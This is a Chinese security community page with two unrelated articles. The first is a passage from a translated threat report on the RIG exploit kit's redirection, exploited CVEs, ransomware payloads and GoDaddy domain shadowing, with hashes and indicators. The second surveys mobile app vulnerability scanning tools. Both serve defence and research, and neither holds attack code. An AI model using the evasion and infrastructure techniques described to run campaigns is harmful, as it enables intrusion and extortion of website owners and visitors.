图6. 2017年5月15日注入的[iframe](https://malwarebreakdown.com/2017/05/15/rig-exploit-kit-at-185-154-53-7-drops-pony-downloads-philadelphia-ransomware/)
在RIG
EK中我们经常可以看到URL参数的使用。从历史上来看，研究人员发现这个攻击工具集会重复使用并且不断变换URL参数，这些URL参数在注入的iframe、JavaScript以及其他方面都有所使用。[LAC](https://www.lac.co.jp/)于2017年2月份发布的[网格视图系列报告](https://www.lac.co.jp/lacwatch/report/20170202_001203.html)中，包含一份（日本地区的）RIG白皮书，其中按时间线方式梳理了与RIG有关的URL参数。目前RIG
EK所使用的参数如图7所示。
图7. 2017年5月12日RIG所用的URL参数
当我们对某些被攻破的、被RIG挂马的站点进行分析时（我们通过抓包工具鉴别出这类站点），我们发现这类站点的注册者似乎集中在几个主要的域名注册商（如图8所示）。
图8. 受影响的站点分布图
**四、网关（GATE）以及流量分配系统（TDS）技术**
在我们研究的早期阶段，我们没有发现足够的证据表明主流RIG家族（特别是PseudoDarkleech以及EITEST）使用过流量分配系统（Traffic
Distribution
System，TDS）以及网关（GATE）等技术，尽管已经有其他安全研究人员（如@dynamicanalysis）发表过公开报告，分析与[RIG
EK](https://malwarebreakdown.com/2017/03/06/tds-redirecting-users-to-rig-exploit-kit-and-other-stuff/)有关的[GoodMan](https://malwarebreakdown.com/2017/03/10/finding-a-good-man/)以及其他恶意广告使用过TDS技术来转发流量。
然而，这种情况在3月底、4月份以及5月份发生了变化，原因主要归结于几个新家族的出现。GoodMan以及Seamless家族使用的是传统的网关技术（如GoodMan使用了“hurtmehard[.].net”这个地址），新兴的[“十进制IP”家族](https://blog.malwarebytes.com/cybercrime/2017/03/websites-compromised-decimal-ip-campaign/)使用了整数形式的IP地址，以将流量重定向到RIG宿主页面。这些家族使用这种技术，主要是想逃避传统的基于攻击指示器（indicator
of compromise，IOC）的检测方法（如图9所示）。
图9. 重定向到RIG的十进制IP
**五、宿主页面**
传统的网关技术以及被攻破站点的iframe注入技术都会将流量导向RIG宿主页面，这也是RIG工作模式的基础。图10为这类网络流量的一个抓包样例，读者可以参考[此处](https://github.com/nao-sec/RigEK/blob/master/decimalip_rig.pcap)了解十进制IP家族当前所对应的PCAP报文。
图10. 导向RIG宿主页面的网络流量
2017年5月16日我们观察到的RIG宿主页面经过部分去混淆处理后，如图11所示。
图11. 2017年5月16日的RIG宿主页面
RIG宿主页面的主要目的就是智能化地处理来自客户主机的连入请求，使用一系列不同的载荷突破客户主机，这些载荷来自于许多不同的恶意家族。
**六、漏洞利用技术**
在我们的调查过程中，我们发现RIG宿主页面最常使用的漏洞利用技术与Flash有关（通常是利用[CVE-2015-8651](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8651)漏洞）。经过一番细致的调查，我们将当前的RIG样本与之前的样本集合进行比较，发现多个家族间存在代码以及执行流程上的关联性，证据就是它们之间都使用了容易被识别的Flash漏洞利用技术（如图12所示）。
图12. 与RIG有关的Flash漏洞利用技术的扫描结果
除了这个Flash漏洞利用技术，我们还发现RIG宿主页面也会利用[CVE-2016-0189](https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0189)、[CVE-2015-2419](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2015-2419)以及[CVE-2014-6332](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6332)三个漏洞对IE浏览器发起攻击（如图13所示）。
图13. 按照user agent信息归类的[CVE漏洞利用技术](https://github.com/nao-sec/RigEK)
虽然本文关注的重点不是对RIG宿主页面的逆向分析，也不是与漏洞利用有关的一些技术，但其中某些高超的技术仍然值得一提。具体来说，我们推荐读者阅读[RSA研究机构](https://community.rsa.com/community/products/netwitness/blog/2017/02/01/rig-ek-chronology-of-an-exploit-kit)以及[nao_sec](http://www.nao-sec.org/2017/04/analyzing-rig-exploit-kit-vol1.html)的一些分析文章。
**七、恶意载荷**
RIG使用的恶意载荷数量巨大且源源不断，这些载荷很大程度上取决于使用RIG传播的各种恶意家族。在调查过程中，我们发现使用RIG传播的Cerber勒索软件影响范围巨大，这款恶意软件是PseudoDarkleech（PDL）家族的最爱。PDL在4月份逐渐归于沉寂，基本保持静默（或隐身）状态。读者可以在附录A中找到对Cerber载荷的分析。
图14. Cerber勒索软件欢迎界面
在我们前期调研中，我们还注意到另一个活跃的家族：EITEST。EITEST目前仍处于活跃状态，并且正在传播各种恶意载荷（如[Dreambot](https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality)银行木马），但主要的载荷还是勒索软件，以牟取稳定收入。在2月份以及3月份，这个家族投放了Cerber、CryptoShield、[Sage](https://www.reverse.it/sample/2d8e4c759298089febd7db14826c8becdc2be7a20be203b6f113ba289fb4d8d1?environmentId=100)以及[Spora](http://malware-traffic-analysis.net/2017/03/06/index.html)恶意软件。读者可以在附录B中找到对CryptoShield载荷的具体分析。
图15. CryptoShield欢迎界面
最近活跃的利用RIG传播的两个十进制IP家族中，有一个正在投放[smokeloader](https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/)（查看[此链接](https://www.hybrid-analysis.com/sample/b1ac30b73b959603bb2c42f97bab6ca48f5a953a1fcb50bacb06f0eb5e2402c7?environmentId=100)了解样本信息）载荷。目前有多个研究人员正在跟踪这个家族，其中[zerophage](https://zerophagemalware.com/2017/04/27/rig-ek-via-decimal-redirect-drops-smoke-loader/)分析了该样本的网络流量，如图16所示。
图16. 使用十进制IP重定向技术来投放Smokeloader载荷
Seamless家族最近正在投放Latentbot以及Ramnit勒索软件。[Cisco](https://umbrella.cisco.com/blog/2017/03/29/seamless-campaign-delivers-ramnit-via-rig-ek/)以及Brad Duncan已经对这个家族做了些技术分析，如图17所示。
图17. [Seamless家族](https://umbrella.cisco.com/blog/2017/03/29/seamless-campaign-delivers-ramnit-via-rig-ek/)在投放Ramnit勒索软件时的网络流量
**八、追踪影子域名的基础设施**
结合RIG传播流程，我们应如何描述这些恶意家族所用的基础设施？根据2月21日-27日期间收集到的RIG宿主页面信息，我们使用Maltego来生成EITEST以及PDL家族所使用的、与RIG有关的基础设施快照图（我们同样也使用了PassiveTotal以及DomainTools来关联及增强分析结果），如图18所示。
图18. 2017年2月27日观察到的与RIG有关的基础设施样本图
在分析过程中，我们注意到这些基础设施有三个地方比较有趣。首先，从2月底开始，贯穿整个3月份，直到4月初，我们发现RIG活动中有大量IP子网重复使用的程度很高。
图19. 托管RIG主机的ASN情况
在过去的[研究](https://community.rsa.com/community/products/netwitness/blog/2016/12/29/2017-time-for-a-wake-up-call)中，我们讨论过[堡垒主机服务（bulletproof
hosting）](http://www.uncensoredhosting.com/best-bulletproof-hosting/)对犯罪分子的重要性及可用性。RSA研究机构观察到与RIG有关的自治系统号（Autonomous System
Number，ASN）主要集中在一部分“商业界限模糊”的堡垒主机服务提供商的范围中（如TimeWeb）。具体说来，这些ASN能够提供合法的、用途嘈杂的网络流量服务（这些流量难以被列入黑名单），以便成为犯罪分子开展攻击活动的中继站。经过粗略的OSINT（开源情报）搜索，我们可以找到支持这个结论的许多特征，如下所示：
<https://ransomwaretracker.abuse.ch/host/dmtya.ru/>
<https://otx.alienvault.com/indicator/ip/92.53.113.89/>
<https://www.reddit.com/r/Malware/comments/4q4gg7/locky_ransomware_campaign_june_27th_2016/>
几乎可以预见的事实是，一旦我们在与RIG有关的子网中（如图19所示）尝试抓取托管的域名时（根据图7的模式抓取子串），我们几乎难以找到指向RIG宿主页面的被注入的iframe页面。这可能意味着这类网站专门针对西方国家流量进行设计，特别是我们已经知道某些载荷使用了国家和语言白名单机制。
第二个有趣的地方，我们发现这些基础设施中有大量SSL证书被重复使用，我们最开始认为这些可能都与RIG有关。然而，经过进一步调查，我们发现这些证书在许多ASN本土化域名中广泛存在（如图20所示）。根据这些发现，我们认为这些SSL证书与RIG没有关系，很有可能是托管服务商常用的证书。
图20. Shodan显示的证书信息
第三个有趣的地方，通过检查RIG宿主域名的Whois注册信息，我们发现GoDaddy是这些域名的主要注册商。2017年2月21日至4月10日期间，有多个域名注册商的395个不同的子域名为RIG宿主页面提供服务，Maltego的分析截图如图21所示。
图21. RIG宿主页面所依托的常用域名注册商
根据这些研究结果，我们对这些子域名所有者的登记邮箱进行了归类（最开始就过滤掉了一般性的注册邮箱，如abuse@形式的邮箱）。对这些注册邮箱进行分批处理后，我们成功识别出主要域名服务商的上千个影子域名。Maltego的分析结果如图22所示，从图中我们可知有18个GoDaddy用户注册了超过2200个子域名，这些子域名都与2017年3月25日至4月5日期间的RIG活动有关。我们认为这些账户都已被攻破。
图22. 被用于影子域名的账户信息
这些受影响账户所拥有的子域名似乎都在利用合法的GoDaddy域名来作为影子域名，并且当前域名所指向的RIG宿主页面都位于外国的网段中（如图19所示）。通过查询这些域名的DNS
A记录值（即IPv4地址值），我们进一步确定了这个推断，如图23和图24所示（由centralops.net提供数据）：
图23. 某个影子域名的DNS记录示例
图24. 2017年3月28日某个影子域名的DNS A记录信息
隐藏在RIG背后的攻击者在创建新的影子域名前，会定时清理并删除子域名以及DNS A记录信息。根据前期对影子域名DNS
A记录值的分析，我们认为这些域名在被删除前有大概5-10天的使用寿命。话虽如此，我们认为，根据后端托管服务（如图19所示的ASN）的实际情况，这些影子域名实际上通常只有24-48小时的存活时长。我们可以从这个影子域名在2017年3月30日时的创建及删除信息中得出这个结论（如图25所示）。
图25. 2017年3月30日某个影子域名DNS记录被清除
这种活动持续到4月及5月，如图26所示。
图26. 2017年5月16日，RIG影子域名的DNS A记录
**九、与GODADDY的合作**
鉴于这个过程牵扯了很多在GoDaddy注册的域名，因此GoDaddy也作为我们的合作伙伴一起来调查影子域名基础设施。GoDaddy为我们提供了一个统一的视图，方便分析影子域名所涉及的DNS记录。经过GoDaddy的分析，他们提供了各种指标，可以用来识别攻击者所使用的策略、技术以及过程。根据这些指标梳理出的基础设施可以在进一步用来理解影子域名的相关问题。
我们根据各种行为识别模式，对过去60天内的域名阴影攻击活动进行了分析。在这期间，RIG的阴影域名攻击活动主要使用一份固定的名单来生成子域名（如“red”、“admin”、“info”、“save”以及“new”）。
RSA研究机构同样将GoDaddy DNS数据中的目的IP地址（如影子域名所指向的DNS
A记录）与观察到的RIG后端网络（如图19所示）进行关联，结合对活动影子域名的沙箱化处理，我们进一步识别出了这些影子域名。5月初观察到的信息（如图27及图28所示）表明这些影子域名正作为RIG宿主页面所使用。这些域名接受当前RIG所用的URL模式，也会释放已知的.swf漏洞利用程序（示例样本的md5值为[dc7d6b8b623fdf82a8ba48195bd1bdbf](https://www.virustotal.com/en/file/c06ced000a6ed7e4f4e11251d1e4b6af18b47f9aebb57e9baf9b4d0fbe92c85d/analysis/)）。
图27. 对某个影子域名沙箱化处理伪装成RIG宿主页面
图28. 对另一个影子域名沙箱化处理伪装成RIG宿主页面
此外，在本次调查中，我们进一步识别出了遵循其他模式的几个域名阴影活动。总的说来，域名阴影攻击影响了上百个客户，平均每个客户的DNS记录中被插入了150个影子域名。每天大约有450个新的影子域名的DNS被修改。发起记录修改请求的源大多为未知的客户端或TOR网络中的多个客户端。
最为突出的影子域名由3-5个随机的字母数字字符所组成，如‘m47xh’、‘mv6’、‘eeiv’、‘l4pj2’、‘eiq0s’以及‘bthi’等。这几个域名占比最多，当前影子注册域名中大约有超过95%使用了这几个域名。我们在超过30,000个子域名中观察到了阴影域名攻击活动，总共影响了800多个域名。活跃状态的子域名处于不断变化中，每天平均有900条记录被添加、修改及删除。
图29. 观察到的处于活跃状态的阴影域名攻击
我们对这类活动经过初步的OSINT分析后，结果表明这种模式可能与正在进行的恶意垃圾邮件以及恶意广告活动有关，这可能意味着范围更广的犯罪行为。这类活动如图30及31所示。
图30. 使用影子域名的垃圾邮件活动
图31. 使用Google查询其他影子域名
整体而言，我们识别出的影子域名指向了大约240不同的IP地址，覆盖超过20个不同的C类段。不幸的是，我们无法进一步分析目的地址，原因在于相关的托管服务商没有参与到我们的调查中。通过这类行为模式识别出的子域名正在被逐步关闭，如下文所述。
**十、以用户凭证为基础的生态系统**
事实上，这类攻击活动严重依赖于所盗取的账户凭证，这一点很容易被察觉出来。然而，从上述讨论中，我们非常肯定RIG宿主页面几乎完全（即便没有全部）托管在被攻破域名的短期影子域名上，并且主要由东欧的ASN服务商来提供堡垒托管服务。问题来了，攻击者是如何窃取这些账户凭证的？
互联网上的信息窃贼已经横行多年，我们可能需要对某些攻击活动进行评估才能追踪溯源。我们尝试过将被窃取的这些凭证与过去几年的信息进行关联分析，却得到的负面的结果，这表明过去几年的犯罪活动可能并不是这次攻击行为的罪魁祸首，可能还存在其他肇事者。
对影子域名本身而言，我们认为发起这些攻击活动的犯罪分子依靠非常复杂的网络钓鱼攻击来获取合法的账户凭证（如图32所示）。GoDaddy拥有1700万客户以及7100万个域名，这使得他们成为复杂钓鱼攻击的天然目标。GoDaddy不断倡导使用双因素认证（Two
Factor Authentication，TFA）方式，并且与提供钓鱼页面的托管服务商一起积极合作，关闭提供恶意内容的这些站点。
图32. 之前针对GoDaddy客户的钓鱼活动
对被攻破的站点而言（这些站点会通过被注入的iframe将流量导向GoDaddy影子域名），有多个域名注册商受到影响，表明攻击者使用了更多投机取巧的方法。虽然我们尚未了解攻击者通过什么方法获取这些凭证，但安全社区的[研究](https://www.bleepingcomputer.com/news/security/home-routers-used-to-hack-wordpress-sites/)表明有许多物联网僵尸节点被用来暴力破解WordPress站点。
如果这些观察结果和猜测是正确的，那么我们也许需要从生态系统角度来思考分析RIG的操作模型，如图33所示。
图33. 推测出的RIG生态系统
**十一、补救措施**
本文分析的影子域名已经从GoDaddy的DNS系统中删除。从历史上来看，域名阴影技术已经成为一个严峻的问题，因为这些域名很少被检查核实、数量众多并且处于合法域名的保护之下。GoDaddy与RSA一起合作，能够通过数据分析技术隔离并移除这些影子域名。已知的用于恶意目的IP地址也已被列入GoDaddy的DNS系统的黑名单中。此外，受影响的用户账户已被锁定，需要修改凭证以防被再次滥用。
未来的工作重点是继续研发大规模的影子域名探测方法，进一步删除恶意DNS记录，并在域名数据修改流程中整合预防措施。如果这类方法在预防和破坏影子域名方面逐渐成熟，那么我们不会依赖点对点的补救措施，而会依托内部数据集，以自动化方式识别并移除恶意域名记录。
这些技术的成功应用将最大限度地减少影子域名的检测时间以及修复时间，同时也会最大限度地减少影子域名的使用时长。我们也将对很可能受到域名阴影攻击的账户应用体系化的修复措施。这类技术将保证GoDaddy账户更加安全，降低域名阴影技术的攻击成功率。
**十二、影响及结论**
在不是特别清楚攻击者活动的前提下，我们更加难以测量攻击活动所造成的影响。初步的分析表明，我们对RIG攻击活动仍然了解不足，特别是当前的Seamless家族以及十进制IP家族（如图34所示）。这类攻击活动造成的长期影响还有待GoDaddy以及RSA团队的联合评估。
图34. 尚不能识别十进制IP家族的RIG后端
如何确定不断发展的勒索软件、广告软件以及恶意邮件家族所造成的影响显然更具挑战性。我们所知道的是，在2017年5月16日，有成千上万个活跃的影子域名资源被删除，对活跃的网络犯罪行为有了一定程度的遏制。
这篇报告对我们当前的研究和相关发现做了总结，我们希望未来能有更多研究机构联合起来，从犯罪生态系统这个更大的尺度上，共同参与对域名阴影技术攻击活动的分析研究。
**十三、附录A**
PseudoDarkleech家族：Cerber勒索软件
SHA256： f7124736a95c472f4c98835786daccdbe751bbd0da4cb500fa0b35d7700d46ef
参考资料： <http://www.malware-traffic-analysis.net/2017/02/27/index.html>
恶意代码：
<https://panacea.threatgrid.com/samples/e55adbba88f8663369a1afea4f520c50>
截图：
网络流量：
**十四、附录B**
EITEST家族：Cryptoshield勒索软件
SHA256：1ceaccf925911b4da750321be0be31e0a8fe8220f75170725e74d3db7e828bcd
参考资料：<http://pastebin.com/embed_iframe/y1TdBJH6>
恶意代码：<https://www.reverse.it/sample/1ceaccf925911b4da750321be0be31e0a8fe8220f75170725e74d3db7e828bcd?environmentId=100>
截图：
网络流量： | 社区文章 |
本文来自 [Android安全中文站](http://t.cn/Rwnsp8j), 原文作者：Nicky
前言：本文是《移动APP客户端安全笔记》系列原创文章中的第一篇，主要讲的是企业移动APP自动化漏洞检测平台建设，移动APP漏洞检测发展史与前沿技术，APP漏洞检测工具与平台，以及笔者的一些思考。希望能对移动App自动化漏洞检测感兴趣的同学有所帮助，限于笔者技术水平与文章篇幅，有些内容暂没有逐一详细分析，后续我争取多学习多分享，在此也欢迎大家指点和交流。
### 一、国内Android App漏洞检测发展简史
#### 1.1石器时代 （2007-2011）
关键词：`反编绎`，`人工审计`
2007年11年，Google正式发布了Android操作系统，2011年12月，Google发布了Android 2.3版本，Android
应用市场App数量突破10万个，随着Android系统的完善及Android设备数量的增加，Android超过塞班成为主流智能手机操作系统。与此同时，一些安全研究人员已经敏感的嗅到了Android客户端安全可能会成为未来的安全热点之一，不少传统的二进制安全研究人员开始转战移动安全。
这个时间段国内对Android安全问题的关注主要集中在恶意App分析与检测，App逆向与破解以及Android系统Root。对于Android客户端安全问题刚主要集中在信息泄露，敏感权限使用的方面，通常使用反编绎工具分析APK源码，然后进行人工审计。
图1 使用JD-GUI分析APK反编绎后的Java代码
#### 1.2农业时代 (2012-2014)
关键词：`自动化审计`、`静态分析`、`动态分析`
2012到2014年间，Google发布了Android4.0-5.0系统，此间爆出不了不少Android
相关漏洞，比如影响深远的Webview远程代码执行漏洞，HTTPS中间人漏洞，让越来越多的安全研究人员的焦点慢慢转向Android
App客户端本身的安全漏洞挖掘上来。
国内一些厂商也开始研发自己Android
App自动化审计系统，其中最早的对外发布的腾讯金刚审计系统算是国内这类产品的鼻祖之一，其早期版本在功能上实现了Android
App自动化静态分析与简单的动态分析，审计点包括：明文保存敏感信息，文件权限问题，日志信息泄露，组件权限问题，明文传输，拒绝服务等。
此时遇到Android
APP自动化审计遇到的主要问题有：1.静态分析主要依赖于关键词匹配，如果缺少上下文分析与可达性分析，开发者正好自定义了一个相同关键词的函数，或者存在漏洞的代码根本没有调用到，则会产生误报。2、大多Android
App的代码与UI是紧密交互的，如果动态分析部分只进行了简单安装启动App与自动随机点击，无法覆盖App大部分界面与功能，则无法覆盖更多的应用执行路径，产生有效业务数据，容易导致漏报。
图2 金刚审计系统主界面
#### 1.3工业时代 (2015-至今)
关键词：`模糊测试`、`污点分析`、`通用脱壳`、`UI自动化遍历`
从2015年开始，360捉虫猎手（现改名为360显微镜），阿里聚安全等开放的在线Android
App漏洞检测平台的出现让开发者和安全研究者更加方便的进行漏洞审计，一些开源在线检测平台的出现（如MobSF）也降低了定制化APP漏洞审计系统的开发门槛。同时模糊测试，污点分析，通用脱壳，UI自动化遍历等学术界与工业界技术也开始被应用到移动App漏洞审计中。下面简单谈谈几种技术在Android
App漏洞检测领域的应用，如果有读者感到兴趣的话后续再做详细分享。
**1.3.1 Android App Fuzzing**
一般而言Fuzzing技术常用于二进制漏洞挖掘，在移动安全领域常见于挖掘系统组件漏洞（如libstagefright），文件解析类应用漏洞（如adobe
reader，视频播放器）及第三方组件漏洞，常使用的工具有：peach/afl/honggfuzz，以及DroidFuzzer（https://github.com/manfiS/droidfuzzer
）/MFFA（https://github.com/fuzzing/MFFA
）等框架，为了提升成功率，通常可将几种工具与框架组件使用，如AFL+PEACH+MFFA。除此之外，fuzzing技术同样可用于测试Android
进程间通信（IPC），比如intent fuzzer（https://github.com/MindMac/IntentFuzzer
）可以直接检测App拒绝服务等漏洞。
图3 KCon2016上安全研究人员提出的组合fuzzing框架
**1.3.2 Android App 污点分析**
污点分析可分为静态污点分析与动态污点分析。静态污点分析不需要运行程序，以FlowDroid为例，目前主流的App静态污点分析技术主要包括如下步骤：
解析应用AndroidManifest.xml，Layout配置文件和相关Dex字节码，根据预先建模的Android LifeCycle
Model生成超调用图 ，又称过程间控制流图(Inter-procedural control flow graph, ICFG)；
根据定义的污点源和锚点(Source and Sink)，将其转换为基于ICFG的后向或前向数据流问题进行求解；
根据求解结果，回答是否存在从某输入到输出的数据流流动路径，以显式Intent问题为例，FlowDroid会检测到一个以发送intent的sink方法到最后接收intent的source的路径存在。
动态污点分析则是在程序运行中过程，通过跟踪变量、内存及寄存器的值，依据执行流程跟踪污点数据的传播，最后达到跟踪攻击路径与获取漏洞信息的目的，以TaintDroid为例，需要对Android系统进行定制化修改以便对App运行过程中的污点数据进行跟踪，但由于Android设备或模拟器性能瓶颈问题，动态污点分析无法获取App所有可能的可执行路径。
以往污点分析常用于Android恶意App分析，信息泄露检测等问题，现在越来越多的厂商也应用于App漏洞检测上（如阿里聚安全使用的基于TaintDroid方案）。相比传统的App漏洞检测，污点分析可以跟踪污点数据的传播过程，确定漏洞是否在实际环境中可能被触发，检测能力更加强大。目前也有不少开源的Android污点分析方案与工具如：TaintDroid、FlowDroid、amadroid及CodeInspect，在此之上也发展出一些针对Android
App漏洞 检测方面的工具，如腾讯科恩实验室Flanker之前开源的JAADS（https://github.com/flankerhqd/JAADAS
）。
**1.3.3Android App 通用脱壳**
App二次打包，破解等问题的泛滥催生了App加固产业的发展，两者技术在也攻防中不断发展和进化，目前国内主流的加固方案有梆梆，爱加密，百度加固，360加固，阿里聚安全，腾讯御安全/乐固，通付盾，NAGA等，对于在线漏洞检测平台来说，如果没有通用的自动化脱壳方案就意味无法对应用市场中的很多App代码进行静态分析，甚至由于应用被加固无法运行于模拟器中或特定测试设备中，影响动态分析结果。
目前针对dex文件加固主流的脱壳方法有静态脱壳、内存dump、Dalvik虚拟机插桩，第一种方法需要针对厂商加密方案不断更新，基本不具备通用性，后面两者的开源代表作有：ZjDroid（https://github.com/halfkiss/ZjDroid
）与 DexHunter（https://github.com/zyq8709/DexHunter ）。
图5 笔者整理的国内部分APP加固方案
**1.3.4移动 AppUI自动化遍历**
App
UI自动化遍历常在App开发测试中用于检测App性能与兼容性，目前在App漏洞检测领域用的比较少（主要由于效率较低）。一般主流的App漏洞检测平台都包含动态分析，主要是安装App后自动运行App并监测App行为，通常使用的是Android
Monkey test脚本或其它工具随机点击APP界面。
实际上，为了更深入的检测App敏感信息泄露与后端WEB接口漏洞，仅靠随机点击App界面进行动态分析是不够的（比如现在大部分App功能需要注册登录后才能使用），如果能更好的模拟正常用户使用App的过程，则可以扩展监测Logcat日志，本地文件存储，网络通信等数据审计能力。
目前APP
UI测试框架按原理可分为黑盒与白盒两种，白盒测试需要在App开发时添加测试组件并调用，需要App完整源码，黑盒测试一般提取App界面的UI元素并根据算法进行遍历，无需App源码。笔者推荐的黑盒APP
UI测试框架与工具主要有AndroidViewClient（https://github.com/dtmilano/AndroidViewClient
）及国人基于Appium开发的appCrawler（https://testerhome.com/topics/5718 ）。
图6 appCrawler生成的APP测试报告
### 二、Android App漏洞检测
#### 2.1 国内Android App在线漏洞检测平台
腾讯金刚审计系统 http://service.security.tencent.com/kingkong 免费 无限制
腾讯御安全 http://yaq.qq.com/ 免费 查看漏洞详情需认证
阿里聚安全 http://jaq.alibaba.com/ 免费 查看漏洞详情需认证
360显微镜 http://appscan.360.cn/ 免费 无限制
360APP漏洞扫描 http://dev.360.cn/html/vulscan/scanning.html 免费 无限制
百度MTC http://mtc.baidu.com 9.9元/次 无限制
梆梆 https://dev.bangcle.com 免费 无限制
爱内测 http://www.ineice.com/ 免费 无限制
通付盾 http://www.appfortify.cn/ 免费 无限制
NAGA http://www.nagain.com/appscan/ 免费 无限制
GES审计系统 http://01hackcode.com/ 免费 无限制
注：排名不分先后
#### 2.2开源Android App漏洞检测工具
**1.MobSF**
Github:https://github.com/ajinabraham/Mobile-Security-Framework-MobSF
Mobile Security Framework(MobSF)是印度安全公司（http://opensecurity.in
）开发的一个智能化、一体化的开放源代码的移动应用（Android / iOS）自动化测试框架，支持静态和动态分析，App后端Web API漏洞检测。
主要特点：基于Python
Django的开源在线漏洞检测框架，前端UI完善，基础功能全面，安装布署方便，但总体来说审计点偏少，不适合实战，更适合辅助分析与二次开发，国内目前不少在线APP检测的平台都有这个框架的影子。
图7 MobSF生成的检测报告
**2.Drozer**
Github:https://github.com/mwrlabs/drozer
Drozer是MWR Labs开发的一个开源Android 安全测试框架，支持编写自定义模块。目前已经有不少介绍Drozer文章，这里就不多说了。
图8 Drozer运行界面
**3.Marvin**
Github:https://github.com/programa-stic/
Marvin是西班牙Programa STIC组织发布一个开源Android App漏洞检测框架，该框架主要分为四个项目：
（1）Marvin-Django
主要包含框架前端UI界面与数据库部分；
（2）Marvin static analyzer
一个主要基于Androguard 及Static Android Analysis Framework 的Android App静态分析引擎。
（3）Marvin Dynamic Analyzer
一个APP动态分析引擎，基于OpenNebula及Android-x86 模拟器，可搭建分布式分析系统，用于复现静态分析发布的漏洞与动态检测漏洞。
（4）Marvin toqueton
一个自动化遍历APP UI的工具，用于分析APP UI控件并进行自动化交互遍历，辅助动态分析。
主要特点：
笔者刚看到这个项目发布时研究了一番，主要特点有可直接搜索下载Google应用商店或者上传应用进行分析，可编写自定义静态分析脚本，使用动态引擎复查静态分析的结果提升准确性，使用本地应用去遍历APP
UI等，但仔细实践后发现动态分析环境（ubuntu+openNebula+Android-X86）的布署很麻烦，多次尝试都未成功。
图9 Marvin主界面
**4.Inspeckage**
Github:https://github.com/ac-pm/Inspeckage
一个Xposed插件，用于调试分析Android App。
主要特点：
使用方便，自带WEB界面，装Xposed插件可以分分钟开始挖漏洞；2.功能全面：查看Manifest信息，监控本地文件读写，查看文件内容，查看Logcat日志，查看网络通信请求（支持SSL
uncheck），监控IPC通信，查看加密操作，调用未导出组件等。
图10 Inspeckage主界面
### 三、IOS App漏洞检测
一般来说iOS App由于iOS系统安全限制（非越狱环境），且无法直接反编绎获取App源码，其在安全性上远高于Android
App，但近两年前随着XcodeGhost(分析文章)，iBackDoor，AFNetworking中间人等后门事件与漏洞的曝光，iOS
App安全性也慢慢受到国内开发者与安全研究人员的关注。
#### 3.1 常见IOS App漏洞测试工具
测试iOS App安全性离不开一台越狱过的iOS设备，以及一些测试利器。在此简单简介两个iOS App安全测试工具：
**1.Idb**
图11 Idb主界面
官网：http://www.idbtool.com
Github：https://github.com/dmayer/idb
Idb是一款开源的iOS App安全评估工具，作者是Danl A.Mayer。
主要功能：
1. 查看应用以下信息：应用包名；注册的URL Schemes；SDK版本；应用数据文件夹位置；应用权限等，
2. 查看/下载应用数据文件；
3. 查看应用文件保护级别；
4. Dump iOS keychain；
5. 检测应用是否加密；
6. 检测应用编绎安全选项(ASLR/PIE, DEP, ARC)；
7. 查看应用的shared libraries；
8. 提取应用binary中的字符串；
9. Class dump;
10. 查看应用URL Handler；
11. Invoke and fuzz URL handlers；
12. 查看系统剪切板
13. 截屏
14. 安装系统证书；
15. 编辑 /etc/hosts文件；
16. 查看系统日志；
**2.Needle**
图12 Needle主界面
Github：https://github.com/mwrlabs/needle
Needle是MWR
Labs开发的一个开源iOS安全测试框架，同样支持开发自定义模块来扩展Needle的功能，目前主要功能包含对iOS应用数据存储，IPC，网络通信，静态代码分析，hooking及二进制文件防护等方面的安全审计。
与drozer类似，Needle提供了一个shell界面，基本idb有的功能needle都有或者说以后也会有（因为可以自己写模块），而Needle还同时支持Cycript与Frida两个hooking方案，可以方便的加载hook脚本与执行命令。
#### 3.2 IOS App自动化漏洞检测
在很长一段时间内，iOS安全研究都主要集中在iOS系统安全漏洞挖掘中，由于iOS相对安全的系统机制保护与严格的审核机制，iOS
App安全性一般比Android App要高不少，历史上出现的过一些iOS
App漏洞也主要集中在iOS越狱环境下，但近年来XcodeGhost，AFNetworking框架中间人漏洞以及多个恶意SDK曝光也说明了iOS
App安全性并没有我们想像的那么高，建设iOS App自动化漏洞审计平台对于拥有大量iOS App产品的企业来说还是很有必要的。
为了提升公司iOS App安全漏洞审计能力与应急能力，笔者与riusksk（林大夫）从2015年底开始一起研发iOS
App漏洞审计系统（后续并入金刚），目前已经成功上线近半年，也辅助发现了一些iOS App业务安全漏洞，详情可参考文章：浅谈iOS应用安全自动化审计
此外360NirvanTeam（http://nirvan.360.cn）也上线了在线检测功能，开源方案MobSF也有iOS
App在线审计功能。此类审计平台主要审计点有：BIN文件分析，第三方库漏洞检测，XCodeGhost检测，恶意SDK检测等。相对来说金刚更为全面，适合开发上线前自查与安全研究人员辅助分析，包含了私有API检测，开放端口检测，应用文件审计，网络通信数据审计，日志审计，classdump等功能，后续还会继续优化iOS
App UI自动化遍历功能与URL scheme Fuzzing功能。
图13 TSRC iOS App漏洞审计报告部分内容
### 四、构建移动App漏洞检测平台
目前国内无论是3BAT，还是移动安全公司，都已经提供了移动APP漏洞检测产品，笔者平时也会对这些平台做一些深度体验，总体来说随着技术发展，构建APP漏洞检测平台门槛已经很低技术也很成熟了。
在移动互联网时代，不同的企业对于移动APP产品安全性要求是不一样的，如金融，支付，通信，游戏类APP产品对App客户端安全，业务安全，后端服务器安全都提出了很高要求，定制企业自已的移动APP漏洞检测平台还是很有必要的。
笔者仅从个人角度谈谈对如何构建移动App漏洞检测平台的几点看法：
（1）在平台建设之初可以参考业界优秀的同类产品与开源方案，目前大部分移动App漏洞检测平台后端基本功能都是使用Python/Java开发，便于快速开发迭代。
（2）移动APP安全威胁是不断变化的，漏洞审计规则也应该支持快速更新，同时企业移动App漏洞检测平台应该满足移动App产品正式上线前审计，上线后日常排查两个基本需求。
（3）很多开发人员和安全工程师对漏洞的理解是不一致的，在输出漏洞检测报告后，还需要提供详细的漏洞利用场景讲解与修复指引。
（4）多多关注学术界与工业界的新研究成果，如果能加入优化与利用，可以推动平台整个技术能力的进步。
（5）平台的主要建设者应该精通移动App漏洞挖掘实战，能够针对企业重点产品特性（如动态加载，热补丁等技术）提供专业的解决方案。
同时笔者提出了一个甲方/乙方企业通用的移动App漏洞检测平台架构，企业可以在此基础上直接接入Web漏洞扫描系统扫描App后端Web漏洞，也可以收集URL测试业务安全漏洞。
